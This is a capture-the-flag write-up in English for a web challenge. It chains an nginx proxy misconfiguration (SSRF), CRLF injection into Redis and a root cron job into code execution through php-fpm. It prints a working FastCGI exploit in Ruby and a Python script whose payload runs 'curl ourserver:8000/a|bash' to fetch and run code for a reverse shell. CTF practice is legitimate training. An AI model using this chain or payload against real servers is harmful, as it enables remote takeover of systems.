Comme dans une chaussette - Web

Description

A company that proposes to sanitize inputs for you, does that tempt you? This is the beta version, and I heard that they log everything to train their AI model. Take control of the server to check if all this is true! Additional information: Sources: https://cdn.midnightflag.fr/comme_dans_une_chaussette.zip

You have all the files in the .zip provided to you (the flag file name as well as the webroot changes on the remote), there is no point in attacking the challenge directly if you don’t have a working payload locally.

To launch the challenge on your computer : unzip as_in_a_sock.zip && docker-compose up -d –build

Author: Worty http://chaussette.web.midnightflag.fr/


Basicaly this challenge is compose of three pieces:

  • A nginx Webserver
  • A php-fpm socket
  • And a redis server with a crontab who get the data from redis and send it to the fpm socket.

Seems like we can bypass the nginx config and trigger ssrf (maybe):

in file /etc/nginx/sites-available/default.conf

location ~ /dev/(.*)/(.*) {
		resolver 172.20.0.1;

		proxy_pass http://$1$uri;
		proxy_set_header Host $1;
	}

Ressources :

Idea of explotation

With seen the possible SSRF in the nginx config and the redis_logger.py file who get executed by cron every minutes, we come out with a clear idea of how to exploit this challenge.

Dockerfile:

echo "* * * * * python3 /root/redis_logger.py '127.0.0.1'" > /var/spool/cron/crontabs/root

redis_logger.py:

import redis
import sys
import socket

host = sys.argv[1]
port = 6379

try:
    r = redis.Redis(host=host, port=port, db=0)
except:
    f = open("/root/redis_error","w")
    f.write("[-] Unable to join redis instance\n")
    f.close()
    exit(-1)

for key in r.keys():
    data = r.get(key)
    #send the data to the php-fpm to send email
    sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
    sock.connect("/var/run/php-fpm.sock")
    sock.sendall(data)
  • Ssrf in order to talk to redis and register payload into the database
  • The redis_logger.py file get executed by the cron job and send the data to php-fpm
  • Code exection througt php-fm and receive our reverse shell

Rooted

Poc:

fpm_exploit.rb taken from https://cxsecurity.com/issue/WLB-2013010139

require 'socket'
require 'base64'
require 'cgi'

class FCGIRecord

  class BeginRequest < FCGIRecord
    def initialize( id)
      @id = id
      @type = 1
      @data = "\x00\x01\x00\x00\x00\x00\x00\x00"
    end
  end

  class Params < FCGIRecord
    def initialize( id, params = {})
      @id = id
      @type = 4
      @data = ""
      params.each do |k,v|
        @data << [ k.to_s.length, (1<<31) | v.to_s.length ].pack( "CN")
        @data << k.to_s
        @data << v.to_s
      end
    end
  end


  def initialize( id, type)
    @id = id
    @type = type
    @data = ""
  end

  def to_s
    packet = "\x01%c%c%c%c%c%c\x00" % [
      type,
      id / 256, id % 256,
      data.length / 256, data.length % 256,
      data.length % 8
    ]
    packet << data
    packet << "\x00" * (data.length % 8)
  end

  private
  attr_reader :id, :type, :data
end


if ARGV.count < 3 or ARGV.count > 4
  STDERR.write "Usage: #{$0} ( -u /path/to/socket | addr port ) [ /path/to/any/exists/file.php ] 'some php code to execute'\n"
  exit 1
end


script = ARGV.count == 4 ? ARGV[2] : "/usr/share/php/PEAR.php"
command = Base64.encode64(ARGV.last.strip).strip.gsub( '=', '%3d').gsub( '/', '%2f')

packet = ""
packet << FCGIRecord::BeginRequest.new( 1).to_s
packet << FCGIRecord::Params.new( 1,
                                  "SERVER_NAME" => "localhost",
                                  "REQUEST_METHOD" => "GET",
                                  "SCRIPT_FILENAME" => script,
                                  "PHP_ADMIN_VALUE" => [
                                      "allow_url_fopen=On",
                                      "allow_url_include=On",
                                      "disable_functions=Off",
                                      "open_basedir=Off",
                                      "display_errors=On",
                                      "safe_mode=Off",
                                      "short_open_tag=On",
                                      "auto_prepend_file=data:,%3c%3f%20eval%28base64_decode%28%22#{command}%22%29%29%3f%3e"
                                      ].join( "\n")
                                  ).to_s
packet << FCGIRecord::Params.new( 1).to_s
packet << FCGIRecord.new( 1, 5).to_s

#print packet.split('').map{ |c| '\x%02x' % c[0].ord }.join


# fcgisock = ARGV[0] == '-u' ? UNIXSocket.new( ARGV[1]) : TCPSocket.new( ARGV[0], ARGV[1])
# fcgisock.write( packet)

puts CGI.escape(packet).sub! '%', '\\x'

exploit.py

#!/usr/bin/env python3
import urllib
import subprocess
import requests

def get_payload(command):
    return subprocess.check_output(f'ruby fpm_exploit.rb -u "/var/run/php-fpm.sock" "/var/www/html/index.php" "{command}"', shell=True).decode().replace('\n','')

url = 'http://127.0.0.1/dev/127.0.0.1:6379/%0a%0dset%20"key"%20"command"%0a%0daaaa'

payload = get_payload("system('curl ourserver:8000/a|bash');")

payload_url = url.replace('command', payload)

requests.get(payload_url,proxies={'http':'http://127.0.0.1:8080'})

ggwp :D